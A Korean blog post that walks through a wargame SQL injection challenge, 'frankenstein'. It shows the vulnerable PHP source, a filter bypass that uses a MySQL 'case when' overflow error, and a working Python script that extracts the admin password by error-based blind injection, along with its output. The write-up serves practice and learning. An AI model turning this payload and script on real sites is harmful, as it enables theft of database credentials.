용 시리즈 끝났더니 너무 어렵다 ㅠㅠ 물론 풀타임으로 계속 고민하진 않았지만 이거 푸는데 너무 오래걸렸다. 드디어 풀었다!

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
---------------------------------------------------------------------------------------------------------
query : select id,pw from prob_frankenstein where id='frankenstein' and pw=''
---------------------------------------------------------------------------------------------------------

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit("error");

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
  highlight_file(__FILE__);
?>

문제 보자마자 읭? 했다. 일단 괄호가 다 필터링 되어있다. 근데 error를 뱉어주니, Error Based Blind SQL Injection 같은데, 문제는 union도 필터링 되어 있기 때문에 이 전에 문제를 풀기 위해 사용했던 서브쿼리에서 오류 발생시키기 방법을 사용하지 못한다는 거다. 일단 초점은 맞췄던 것은 조건문을 쓰는데 괄호 없이 어떻게 사용하는가! 였다. 서브쿼리를 괄호 없이 쓰는 법이 있나… 좀 오래 고민했는데, 다 풀고나니 내가 MySQL 문법만 제대로 알았더라도 이미 풀고도 남았던 문제였다. 바보 인증 또함 내가 사용한 문법은 다음과 같다.

1
case when 조건 then 참일 때 else 거짓일 때 end

이렇게 하면 괄호 없이도 조건문을 사용할 수 있다. 사실 이거 한참 전에 한번 시도해 봤던 문법인데, 뒤에 end를 붙여야 한다는 사실을 몰랐다. 그래서 뭘 해도 오류가 나길래 아 이거 안되는 건가보다 이러고 넘겼는데, 오늘 다시 인터넷에 찾아보니 뒤에 end가 있더라. 혹시나...? 하고 뒤에 end를 붙여서 내 서버에서 테스트 해 보니 매우 잘ㅋ됨ㅋ 뭔가 갑자기 신나져서 막 코드 짜서 바로 돌려보았다. 그랬더니 pw 값을 얻을 수 있었다. 문제를 풀기 위해서 사용한 전체 쿼리는 다음과 같다.

1
pw=1' or case when id='admin' and pw like 'a%' then 9e307*2 else 0 end#

이러면 만약 id='admin' and pw like 'a%'가 참일 경우에는 9e307*2가 실행되고 아닐 경우에는 0을 실행한다. 그런데 9e307*2는 MySQL에서 ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'라는 오류를 준다. 때문에 문제에서는 error만을 출력한 후 exit 하게 된다. pw like 'a%'는 이 전에도 한번 사용한 적이 있는데, like을 사용 할 경우 정규표현식 처럼 사용할 수 있다. %모든 문자를 의미하기 때문에 a%라고 하면 a로 시작하고 뒤에 어떤 문자열이라도 붙어 있는 경우를 체크한다. 즉 pw='a%'apple, abc 모두 참이 나온다. 이를 바탕으로 코드를 짜면 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

flag = ""

url = "http://los.rubiya.kr/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw="
session = dict(PHPSESSID = "YOUR SESSION ID")

print "[+] Start"

print "[+] Find password"

for j in range(1, 40):
	found = False
	for i in range(48, 128):
		try:
			query = url + "1' or case when id='admin' and pw like '" + flag +  chr(i) + "%' then 9e307*2 else 0 end%23"
			r = requests.post(query, cookies=session)
		except:
			print "[-] Error occur"
			continue

		if '<br>error' in r.text:
			flag += chr(i)
			print "[+] Found", str(j), ":", flag
			found = True
			break
	if not found:
		print "[+] Found password finished"
		break

print "[+] Found password : ", flag
print "[+] End"

그 결과 아래와 같이 무려 한번에! 값을 구할 수 있었다. 좀 간만에 오류 없이 한방에 나와서 기분이 좋았다. 아 아니구나 두 번 만에 나왔다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ python ex.py 
[+] Start
[+] Find password
[+] Found 1 : 0
[+] Found 2 : 0D
[+] Found 3 : 0DC
[+] Found 4 : 0DC4
[+] Found 5 : 0DC4E
[+] Found 6 : 0DC4EF
[+] Found 7 : 0DC4EFB
[+] Found 8 : 0DC4EFBB
[+] Found password finished
[+] Found password :  0DC4EFBB
[+] End

이번에도 소문자로 입력하면 된다. 아예 비교하는 대상 문자열을 내가 알파벳 소문자로 두면 될텐데 뭔가 귀찮아서 걍 아스키코드 숫자 ~ 문자 범위로 하다보니 맨날 대문자가 먼저 나온다. 언젠간 고치겠지 뭐… 아래처럼 입력하면 문제를 풀 수 있다.

1
?pw=0dc4efbb

씐난다! 기분 좋게 집 갈 수 있다!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
------------------------------------------------------------------------------------------------------------------------
query : select id,pw from prob_frankenstein where id='frankenstein' and pw='0dc4efbb'
------------------------------------------------------------------------------------------------------------------------

FRANKENSTEIN Clear!
<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit("error");

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
  highlight_file(__FILE__);
?>

1
FRANKENSTEIN Clear!plain!